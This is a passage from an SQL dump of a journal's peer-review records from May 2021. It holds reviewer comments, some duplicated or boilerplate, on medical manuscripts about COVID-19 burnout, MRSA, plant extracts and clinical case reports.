RELATED TO THE PERSONAL PREFERENCES OF WHICH PARTY IS ON RULING SIDE. THIS CAN BE ADDED AS WELL.  \r\n\r\n?As J/J had lots of clot issues, this could change the response of younger population. Please just mention this in the limitation of the study. \r\nhttps://pubmed.ncbi.nlm.nih.gov/33917902/ \r\n','2021-05-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3780,11689,7980,NULL,'5','g','y','y','y','Coronavirus disease (COVID-19) is an infectious disease which caused by a newly discovered coronavirus. The aim of this study is to evaluation of burnout and job stress in care worker and comparison between front-line and second-line in care worker during coronavirus epidemic. In this study, a significant proportion of participants experienced Burnout and stress symptoms, and more than 49.5% reported Burnout and stress.\r\nOverall well written.','','2021-05-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3781,11689,7980,NULL,'5','g','y','y','y','Coronavirus disease (COVID-19) is an infectious disease which caused by a newly discovered coronavirus. The aim of this study is to evaluation of burnout and job stress in care worker and comparison between front-line and second-line in care worker during coronavirus epidemic. In this study, a significant proportion of participants experienced Burnout and stress symptoms, and more than 49.5% reported Burnout and stress.\r\nOverall well written.','','2021-05-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3782,11689,7980,NULL,'5','g','y','y','y','Coronavirus disease (COVID-19) is an infectious disease which caused by a newly discovered coronavirus. The aim of this study is to evaluation of burnout and job stress in care worker and comparison between front-line and second-line in care worker during coronavirus epidemic. In this study, a significant proportion of participants experienced Burnout and stress symptoms, and more than 49.5% reported Burnout and stress.\r\nOverall well written.','','2021-05-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3785,10962,8593,NULL,'4','g','y','y','y','well written manuscript. i have few suggestions.\r\n1- what is the statistical method?\r\n2- ( 10.21802/gmj.2019.2.11) and (https://doi.org/10.31832/smj.376329) suggested studies for the references','i ll evaulate after revision','2021-05-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3787,18277,8592,NULL,'6','6','6','6','6','Objective and current manucristo.\r\n\r\nRobust methodology.\r\n\r\nResults and discussion with strong evidence\r\nscientific.\r\n\r\nConclusion answers the research problem.\r\n\r\n','Objective and current manucristo.\r\n\r\nRobust methodology.\r\n\r\nResults and discussion with strong evidence\r\nscientific.\r\n\r\nConclusion answers the research problem.\r\n\r\n','2021-05-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3788,18277,8592,NULL,'6','6','6','6','6','Extremely important manuscript for the context of COVID-19.\r\n\r\nIt deserves to be published urgently.\r\n\r\nThe information on the manuscript is current and consistent.','Extremely important manuscript for the context of COVID-19.\r\n\r\nIt deserves to be published urgently.\r\n\r\nThe information on the manuscript is current and consistent.','2021-05-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3789,18276,8591,NULL,'6','6','6','6','6','The manuscript is highly current.\r\n\r\nThe evidence is extremely important for the global debate.\r\n\r\nThe data presented deserve immediate publication.','The manuscript is highly current.\r\n\r\nThe evidence is extremely important for the global debate.\r\n\r\nThe data presented deserve immediate publication.','2021-05-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3790,18276,8591,NULL,'6','6','6','6','6','The manuscript has textual coherence.\r\n\r\nIt presents well delineated and current data.\r\n\r\nThe theme is of international interest','The manuscript has textual coherence.\r\n\r\nIt presents well delineated and current data.\r\n\r\nThe theme is of international interest','2021-05-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3791,18275,8591,NULL,'6','6','6','6','6','Thematic is pertinent to the worldwide discussion.\r\n\r\nThe writing has textual synchrony and is strongly punctuated by updated evidence.\r\n\r\nMust be published by the strong discussion debated today','Thematic is pertinent to the worldwide discussion.\r\n\r\nThe writing has textual synchrony and is strongly punctuated by updated evidence.\r\n\r\nMust be published by the strong discussion debated today','2021-05-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3792,18275,8591,NULL,'6','6','6','6','6','The manuscript raises punctual and cohesive evidence.\r\n\r\nIt brings important theoretical interfaces to support the thematic.\r\n\r\nIts theoretical delineation is rigorous.','The manuscript raises punctual and cohesive evidence.\r\n\r\nIt brings important theoretical interfaces to support the thematic.\r\n\r\nIts theoretical delineation is rigorous.','2021-05-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3793,17502,8588,NULL,'2','G','Y','Y','Y','Dear Authors,\r\nThank you for your contribution. I recommend following suggestions to reconsider your manuscript. Please answer pointwise and incorporate all the changes, discussion, and suggested references in suitable places for us to be clear about the revised/edited manuscript. Thank you for your contribution.\r\n\r\nCOMMENTS AS BELOW: \r\n\r\n##INTRODUCTION: As of 09 April, 2020, a total of 3,764,744 cases of COVID-19 have been confirmed in the 215 countries including 259,593 deaths (WHO, 2019).\r\n ? PLEASE RENEW THE TO THE LATEST.\r\n##3RD PARAGRAPH OF INTRODUCTION: Studies has shown that patients with comorbidities such as hypertension, heart failure, diabetes (Fang et al., 2020) and elderly people (Meng et al., 2020) are, among others causes, risk factor for severe illness by SARS-CoV-2\r\n? PLEASE ADD CANCER, IMMUNOCOMPROMISED INDIVIDUAL LIKE POST TRANSPLANT PATIENTS AS WELL TO HAVE A HIGH RISK TO DEVELOP MORE MORTALITY. SUGGEST REFERRING TO THE FOLLOWING \r\nhttps://pubmed.ncbi.nlm.nih.gov/33996075/\r\nhttps://pubmed.ncbi.nlm.nih.gov/34015893/ \r\n\r\n##DISCUSSION: The transmission of SARS-CoV-2 occurs mainly through the droplet route, but the possibility of airborne transmission and transmission through the fecal?oral route is also postulated, though the latter seems less relevant so far\r\n? Please add reference to this\r\nhttps://pubmed.ncbi.nlm.nih.gov/32643950/ \r\n## PULMONARY HYPERTENTION. This has been also studied extensively. Please add a small paragraph for its association with right sided heart failure:\r\nhttps://pubmed.ncbi.nlm.nih.gov/33525228/ \r\nhttps://pubmed.ncbi.nlm.nih.gov/32675217/ \r\n##Due to the high prevalence of myocarditis and heart failure, transthoracic echocardiography is routinely recommended in patients with complicated COVID-19 in order to differentiate causes of dyspnea and monitor the sequelae of ARDS\r\n? WHICH GUIDELINES IS THIS, PLEASE REFER TO \r\n## IMAGE\r\nIs permission taken to publish, I am not sure, please clarify? \r\n\r\n##LIMITATION OF THIS META-ANALYSIS? PLEASE ADD A SECTION ON THIS\r\n\r\n\r\n','Thanks for the invitation. I recommend one major revision and re- review after that. Thanks for the opportunity. ','2021-05-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3807,15568,8408,NULL,'5','G','y','y','y','Author presented an interesting study  on association between lifestyle factors and tendinopathy, which provide sufficient information for readers to understand. The text is well arranged and structured, adds useful information. Worth publishing and accept with out changes.','Author presented an interesting study  on association between lifestyle factors and tendinopathy, which provide sufficient information for readers to understand. The text is well arranged and structured, adds useful information. Worth publishing and accept with out changes.','2021-05-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3818,17412,8171,NULL,'5','g','n','y','y','“Ozonated oil, a novel remedy shows the anticipation for extinction of Methicillin Resistance Staphylococcus aureus (MRSA): a preliminary study\" has been very clearly given and very informative. This article explains that burn wounds are generally prone to various types of infection. Bacterial biofilms in particular are the culprit for non-healing wound infection in burns. Most common gram-positive strains are Staphylococcus aureus and Staphylococcus species. Methicillin resistant Staphylococcus aureus (MRSA) infection is a challenging task in clinical practice. It concludes that experimental observation showed that only Ozonated oil showed the anti MRSA activity and antimicrobial activity for all MRSA and non-MRSA micro-organisms tested. Our results suggest that ozonated oil is a competitive antimicrobial agent that may prompt the setting up of clinical use. This is strongly recommended for publishing.\r\n','','2021-05-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3819,17412,8202,NULL,'5','g','n','y','y','\"Hepatoprotective potential of ethanolic leaf extract of plant piper attenuatum b. Ham & caesalpinia crista linn\" has been very clearly given and very informative. The aim of the present study was to evaluate hepatoprotective potential of ethanolic leaf extract of plant Piper attenuatum B. Ham & Caesalpinia crista Linn. Hepatoprotective potential of ethanolic leaf extract of Piper attenuatum B. Ham & Caesalpinia crista Linn were evaluated by using D-Galactosamine (400mg/kg) induced liver toxicity model in rats. 100mg/kg & 200mg/kg dose selected for evaluation of hepatoprotective potential for both plants. It concludes that ethanolic extract of authenticated leaf part of plant Piper attenuatum B. Ham & Caesalpinia crista Linn having hepatoprotective activity in D-Galactosamine induced liver toxicity in rats at 100mg/kg and 200 mg/kg dose. Silymarin 50mg/kg and plants extracts showed significant result when compared to vehicle control group and diseased group.This is strongly recommended for publishing.','','2021-05-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3821,13340,8490,NULL,'6','G','y','y','y','Accept this case report without any changes.\r\n\r\nThe abstract is informative. the introduction provide sufficient background with the 2 cases with gastric outlet obstruction along with treatment information for readers. figures are clear enough to summarize the results for presentation . I would like to accept for publication.','Accept this case report without any changes.\r\n\r\nThe abstract is informative. the introduction provide sufficient background with the 2 cases with gastric outlet obstruction along with treatment information for readers. figures are clear enough to summarize the results for presentation . I would like to accept for publication.','2021-05-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3822,18276,8593,NULL,'6','6','6','6','6','The title is accurate or relevant	\r\n\r\nThe aims of the study are clearly stated	\r\n\r\nThe study is original	\r\n\r\nThe study is useful and relevant to the aims of the Journal\r\n\r\nThe design of the study is appropriate	\r\n\r\nThe sample size, selection and composition are appropriate	\r\n\r\nMethods used to collect data (e.g. validated questionnaires and instruments, observational techniques) are appropriate	\r\n\r\nQualitative or quantitative methods used to analyse the data are appropriate	\r\n\r\nDetails of the methods (including settings and locations, procedures, dates of recruitment and follow-up or main outcomes) are clearly reported	\r\n\r\nThe data are less than 5 years old	\r\n\r\nThe study was approved by a research ethics committee prior to data collection	\r\n\r\nParticipants were asked for informed consent prior to data collection or informed consent was not required\r\nThe qualitative or quantitative analyses were applied appropriately	\r\n\r\nMissing data, e.g. non-respondents, drop-outs or non-responses, have been accounted for	\r\n\r\nThe results are clearly presented and explained	\r\n\r\nNo further qualitative or quantitative analysis is required\r\n\r\nThe authors reflect on the strengths and limitations of the study	\r\n\r\nThe results are compared to related findings in the literature	\r\n\r\nThe results are discussed in relation to the relevant research, practice or policy issues	\r\n\r\nThe discussion and conclusions do not speculate beyond what has been shown in this study\r\n\r\nThe article has a logical construction in a suitable format	\r\n\r\nThe article has an appropriate length (not unnecessarily long or too short to be useful)	\r\n\r\nThe writing is in a good standard of English, grammatically correct and easy to understand	\r\n\r\nThe abstract is in an unstructured format and is sufficiently informative	\r\n\r\nAny tables and figures are all necessary, clearly annotated and easy to follow\r\n','The title is accurate or relevant	\r\n\r\nThe aims of the study are clearly stated	\r\n\r\nThe study is original	\r\n\r\nThe study is useful and relevant to the aims of the Journal\r\n\r\nThe design of the study is appropriate	\r\n\r\nThe sample size, selection and composition are appropriate	\r\n\r\nMethods used to collect data (e.g. validated questionnaires and instruments, observational techniques) are appropriate	\r\n\r\nQualitative or quantitative methods used to analyse the data are appropriate	\r\n\r\nDetails of the methods (including settings and locations, procedures, dates of recruitment and follow-up or main outcomes) are clearly reported	\r\n\r\nThe data are less than 5 years old	\r\n\r\nThe study was approved by a research ethics committee prior to data collection	\r\n\r\nParticipants were asked for informed consent prior to data collection or informed consent was not required\r\nThe qualitative or quantitative analyses were applied appropriately	\r\n\r\nMissing data, e.g. non-respondents, drop-outs or non-responses, have been accounted for	\r\n\r\nThe results are clearly presented and explained	\r\n\r\nNo further qualitative or quantitative analysis is required\r\n\r\nThe authors reflect on the strengths and limitations of the study	\r\n\r\nThe results are compared to related findings in the literature	\r\n\r\nThe results are discussed in relation to the relevant research, practice or policy issues	\r\n\r\nThe discussion and conclusions do not speculate beyond what has been shown in this study\r\n\r\nThe article has a logical construction in a suitable format	\r\n\r\nThe article has an appropriate length (not unnecessarily long or too short to be useful)	\r\n\r\nThe writing is in a good standard of English, grammatically correct and easy to understand	\r\n\r\nThe abstract is in an unstructured format and is sufficiently informative	\r\n\r\nAny tables and figures are all necessary, clearly annotated and easy to follow\r\n','2021-05-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3823,18276,8592,NULL,'6','6','6','6','6','	\r\n\r\nThe study is original	\r\n\r\nThe study is useful and relevant to the aims of the Journal\r\n\r\nThe design of the study is appropriate	\r\n\r\nThe data are less than 5 years old	\r\n\r\nThe results are clearly presented and explained	\r\n\r\nThe results are compared to related findings in the literature	\r\n\r\nThe results are discussed in relation to the relevant research, practice or policy issues	\r\n\r\nThe discussion and conclusions do not speculate beyond what has been shown in this study\r\n\r\nThe article has a logical construction in a suitable format	\r\n\r\nThe article has an appropriate length (not unnecessarily long or too short to be useful)	\r\n\r\nThe writing is in a good standard of English, grammatically correct and easy to understand	\r\n\r\nThe abstract is in an unstructured format and is sufficiently informative	\r\n\r\nAny tables and figures are all necessary, clearly annotated and easy to follow\r\n','	\r\n\r\nThe study is original	\r\n\r\nThe study is useful and relevant to the aims of the Journal\r\n\r\nThe design of the study is appropriate	\r\n\r\nThe data are less than 5 years old	\r\n\r\nThe results are clearly presented and explained	\r\n\r\nThe results are compared to related findings in the literature	\r\n\r\nThe results are discussed in relation to the relevant research, practice or policy issues	\r\n\r\nThe discussion and conclusions do not speculate beyond what has been shown in this study\r\n\r\nThe article has a logical construction in a suitable format	\r\n\r\nThe article has an appropriate length (not unnecessarily long or too short to be useful)	\r\n\r\nThe writing is in a good standard of English, grammatically correct and easy to understand	\r\n\r\nThe abstract is in an unstructured format and is sufficiently informative	\r\n\r\nAny tables and figures are all necessary, clearly annotated and easy to follow','2021-05-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3824,18275,8592,NULL,'6','6','6','6','6','\r\n\r\nThe study is useful and relevant to the aims of the Journal\r\n\r\nThe design of the study is appropriate	\r\n\r\nThe results are clearly presented and explained	\r\n\r\nThe results are compared to related findings in the literature	\r\n\r\nThe results are discussed in relation to the relevant research, practice or policy issues	\r\n\r\n\r\n\r\nThe article has a logical construction in a suitable format	\r\n\r\n	\r\n\r\nThe writing is in a good standard of English, grammatically correct and easy to understand	\r\n\r\nThe abstract is in an unstructured format and is sufficiently informative	\r\n\r\n\r\n','\r\n\r\nThe study is useful and relevant to the aims of the Journal\r\n\r\nThe design of the study is appropriate	\r\n\r\nThe results are clearly presented and explained	\r\n\r\nThe results are compared to related findings in the literature	\r\n\r\nThe results are discussed in relation to the relevant research, practice or policy issues	\r\n\r\n\r\n\r\nThe article has a logical construction in a suitable format	\r\n\r\n	\r\n\r\nThe writing is in a good standard of English, grammatically correct and easy to understand	\r\n\r\nThe abstract is in an unstructured format and is sufficiently informative	\r\n','2021-05-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3829,11689,8173,NULL,'6','g','y','y','y','The aim of this study was to investigated the prevalence of serum antisperm antibodies in men with infertility seen in two Hospitals in Nigeria. The study clearly shows that IgA and IgG ASA are associated with male infertility in Zaria and as such screening for serum antisperm antibodies in the evaluation of men infertility is recommended in our environment.\r\nOverall manuscript is well written','','2021-05-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3832,12259,8541,NULL,'6','G','y','y','y','Thank you very much for asking me to review this article in your reputable journal. Am ready to participate at any time.\r\nAuthor presented the manuscript in an organised and neat format, figures and tables are clear enough to summarize the results to the readers.\r\nI would recommend to publish the article in your reputed journal.','Thank you very much for asking me to review this article in your reputable journal. Am ready to participate at any time.\r\nAuthor presented the manuscript in an organised and neat format, figures and tables are clear enough to summarize the results to the readers.\r\nI would recommend to publish the article in your reputed journal.','2021-05-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3835,18291,8595,NULL,'6','6','6','6','6','The title is accurate or relevant	\r\n\r\nThe aims of the study are clearly stated	\r\n\r\nThe study is original	\r\n\r\nThe study is useful and relevant to the aims of the Journal\r\n\r\nThe design of the study is appropriate	\r\n	\r\nDetails of the methods (including settings and locations, procedures, dates of recruitment and follow-up or main outcomes) are clearly reported	\r\n\r\nThe data are less than 5 years old	\r\n		\r\nThe results are clearly presented and explained	\r\n\r\nThe results are compared to related findings in the literature	\r\n\r\nThe article has an appropriate length (not unnecessarily long or too short to be useful)	\r\n\r\nThe writing is in a good standard of English, grammatically correct and easy to understand	\r\n\r\nThe abstract is in an unstructured format and is sufficiently informative	\r\n\r\n\r\n','he title is accurate or relevant	\r\n\r\nThe aims of the study are clearly stated	\r\n\r\nThe study is original	\r\n\r\nThe study is useful and relevant to the aims of the Journal\r\n\r\nThe design of the study is appropriate	\r\n	\r\nDetails of the methods (including settings and locations, procedures, dates of recruitment and follow-up or main outcomes) are clearly reported	\r\n\r\nThe data are less than 5 years old	\r\n		\r\nThe results are clearly presented and explained	\r\n\r\nThe results are compared to related findings in the literature	\r\n\r\nThe article has an appropriate length (not unnecessarily long or too short to be useful)	\r\n\r\nThe writing is in a good standard of English, grammatically correct and easy to understand	\r\n\r\nThe abstract is in an unstructured format and is sufficiently informative	\r\n\r\n\r\n','2021-05-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3836,18289,8595,NULL,'6','6','6','6','6','Relevant and current manuscript\r\n\r\nThematic is urgent for the golbal debate.\r\n\r\nCohesive and objective design\r\n\r\nConclusion responds to the object of investigation.\r\n\r\nThe manuscript must be published urgently','Relevant and current manuscript\r\n\r\nThematic is urgent for the golbal debate.\r\n\r\nCohesive and objective design\r\n\r\nConclusion responds to the object of investigation.\r\n\r\nThe manuscript must be published urgently','2021-05-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3837,13342,8490,NULL,'1','D','N','N','N','This is a case report describing the GI tuberculosis presenting as gastric outlet obstruction.\r\n\r\nUGI scopy, USG exam, s/o : need full name not abbreviations.\r\nin discussion : 3rd paragraph, case 2 endoscpic brush biopsy was inconclusive and s/o chronic gastritis \r\n -> I cannot understand this sentence and this sentence need correction.\r\nin conclusion in patient coming from endemic area -> in patients coming from\r\n\r\nI wonder that what\'s new in this article compared with previous case report of gastric outlet obstruction caused by tuberculosis. (J Med Case Rep. 2015; 9: 265)\r\nAnd you said efforts should be taken to diagnose the condition before need for surgery. Would you please give the method to diagnose early before surgery ?\r\n\r\n\r\n','','2021-05-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3840,15586,8742,NULL,'4','G','Y','Y','Y','Some abbreviations in the title need to be defined.\r\nThe abstract is not specific enough.\r\nYou need to add a brief discussion.\r\n\r\nT\r\n','I made some suggestions.','2021-05-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3844,11589,7926,NULL,'4','G','Y','Y','Y','The article entitled \"Principal Component Analysis Applied to Alzheimer’s Disease: USA by State\" is a short communication which explain the Principal Component Analysis (PCA) of Alzheimer’s disease and twelve epidemiological and socio-economic components of the USA states inform etiology by extracting large scale patterns.  And found that reduced risk for AD associated with both wine (an education correlate) and the availability of dental care (related to wealth and the risk factors associated with beer), and elevated risk of AD for beer consumption irrespective of wealth.\r\n\r\nHowever some minor changes required: grammatical error, sentence formation, reference format.','The article entitled \"Principal Component Analysis Applied to Alzheimer’s Disease: USA by State\" is a short communication which explain the Principal Component Analysis (PCA) of Alzheimer’s disease and twelve epidemiological and socio-economic components of the USA states inform etiology by extracting large scale patterns.  And found that reduced risk for AD associated with both wine (an education correlate) and the availability of dental care (related to wealth and the risk factors associated with beer), and elevated risk of AD for beer consumption irrespective of wealth.\r\n\r\nHowever some minor changes required: grammatical error, sentence formation, reference format.','2021-05-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3845,12022,8705,NULL,'3','D','Y','Y','Y','TROMBOCITOPENIA AGUDA SEVERA ASOCIADA AL USO DE TIROFIBAN POSTERIOR A INTERVENCIÓN CORONARIA PERCUTÁNEA: A PROPÓSITO DE UN CASO\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Autores:\r\n¿La complejidad del trabajo justifica la cantidad de personas que teóricamente lo han hecho y firmado? Un documento debe estar firmado por cualquier persona que haya hecho una \"contribución sustancial\". En mi opinión, conviene aclarar el aporte de cada uno al trabajo.\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o “raro.” Creo que los autores deberían mencionar algo más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; un factor de riesgo epidemiológico; una advertencia para alertar en situaciones similares; una sugerencia de hipótesis explicativa; etc. \r\n-Referencias:\r\nLas referencias son manifiestamente mejorables. Aconsejo que se revisen incorporando referencias de mayor calidad.\r\nPor otra parte, sugiero que las referencias bibliográficas se escriban utilizando el estilo de Vancouver.\r\n\r\nSEVERE ACUTE THROMBOCYTOPENIA ASSOCIATED WITH THE USE OF TIROFIBAN AFTER PERCUTANEOUS CORONARY INTERVENTION: PURPOSE OF A CASE\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n-Authors:\r\nDoes the complexity of the work justify the number of people who have theoretically done it and signed it? A document must be signed by anyone who has made a \"substantial contribution.\" In my opinion, it is convenient to clarify the contribution of each one to the work.\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or \"rare\" case. I think the authors should mention something more about how this case can help to understand a more important topic, or to remember certain messages, or to motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; an epidemiological risk factor; a warning to alert in similar situations; a suggestion of explanatory hypothesis; etc.\r\n-References:\r\nThe references can clearly be improved. I advise that they be revised incorporating higher quality references.\r\nOn the other hand, I suggest that the bibliographic references be written using the Vancouver style.','TROMBOCITOPENIA AGUDA SEVERA ASOCIADA AL USO DE TIROFIBAN POSTERIOR A INTERVENCIÓN CORONARIA PERCUTÁNEA: A PROPÓSITO DE UN CASO\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Autores:\r\n¿La complejidad del trabajo justifica la cantidad de personas que teóricamente lo han hecho y firmado? Un documento debe estar firmado por cualquier persona que haya hecho una \"contribución sustancial\". En mi opinión, conviene aclarar el aporte de cada uno al trabajo.\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o “raro.” Creo que los autores deberían mencionar algo más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; un factor de riesgo epidemiológico; una advertencia para alertar en situaciones similares; una sugerencia de hipótesis explicativa; etc. \r\n-Referencias:\r\nLas referencias son manifiestamente mejorables. Aconsejo que se revisen incorporando referencias de mayor calidad.\r\nPor otra parte, sugiero que las referencias bibliográficas se escriban utilizando el estilo de Vancouver.\r\n\r\nSEVERE ACUTE THROMBOCYTOPENIA ASSOCIATED WITH THE USE OF TIROFIBAN AFTER PERCUTANEOUS CORONARY INTERVENTION: PURPOSE OF A CASE\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n-Authors:\r\nDoes the complexity of the work justify the number of people who have theoretically done it and signed it? A document must be signed by anyone who has made a \"substantial contribution.\" In my opinion, it is convenient to clarify the contribution of each one to the work.\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or \"rare\" case. I think the authors should mention something more about how this case can help to understand a more important topic, or to remember certain messages, or to motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; an epidemiological risk factor; a warning to alert in similar situations; a suggestion of explanatory hypothesis; etc.\r\n-References:\r\nThe references can clearly be improved. I advise that they be revised incorporating higher quality references.\r\nOn the other hand, I suggest that the bibliographic references be written using the Vancouver style.','2021-05-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3866,12022,8707,NULL,'3','D','N','M','N','TOXICIDAD RENAL POR TENOFOVIR: A PROPÓSITO DE UN CASO. \r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Autores:\r\n¿La complejidad del trabajo justifica la cantidad de personas que teóricamente lo han hecho y firmado? Un documento debe estar firmado por cualquier persona que haya hecho una \"contribución sustancial\". En mi opinión, conviene aclarar el aporte de cada uno al trabajo.\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o “raro.” Creo que los autores deberían mencionar algo más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; un factor de riesgo epidemiológico; una advertencia para alertar en situaciones similares; una sugerencia de hipótesis explicativa; etc. \r\n-Referencias:\r\nLas referencias están escritas en diferentes estilos y co errores (por ejemplo, en algunas falta la revista). Aconsejo que se revisen y se escriban utilizando el estilo de Vancouver.\r\n\r\nKIDNEY TOXICITY BY TENOFOVIR: PURPOSE OF A CASE.\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n\r\n-Authors:\r\nDoes the complexity of the work justify the number of people who have theoretically done it and signed it? A document must be signed by anyone who has made a \"substantial contribution.\" In my opinion, it is convenient to clarify the contribution of each one to the work.\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or \"rare\" case. I think the authors should mention something more about how this case can help to understand a more important topic, or to remember certain messages or to motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; an epidemiological risk factor; a warning to alert in similar situations; a suggestion of explanatory hypothesis; etc.\r\n-References:\r\nThe references are written in different styles and with errors (for example, in some the magazine is missing). I advise that they be revised and written using the Vancouver style.','TOXICIDAD RENAL POR TENOFOVIR: A PROPÓSITO DE UN CASO. \r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Autores:\r\n¿La complejidad del trabajo justifica la cantidad de personas que teóricamente lo han hecho y firmado? Un documento debe estar firmado por cualquier persona que haya hecho una \"contribución sustancial\". En mi opinión, conviene aclarar el aporte de cada uno al trabajo.\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o “raro.” Creo que los autores deberían mencionar algo más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; un factor de riesgo epidemiológico; una advertencia para alertar en situaciones similares; una sugerencia de hipótesis explicativa; etc. \r\n-Referencias:\r\nLas referencias están escritas en diferentes estilos y co errores (por ejemplo, en algunas falta la revista). Aconsejo que se revisen y se escriban utilizando el estilo de Vancouver.\r\n\r\nKIDNEY TOXICITY BY TENOFOVIR: PURPOSE OF A CASE.\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n\r\n-Authors:\r\nDoes the complexity of the work justify the number of people who have theoretically done it and signed it? A document must be signed by anyone who has made a \"substantial contribution.\" In my opinion, it is convenient to clarify 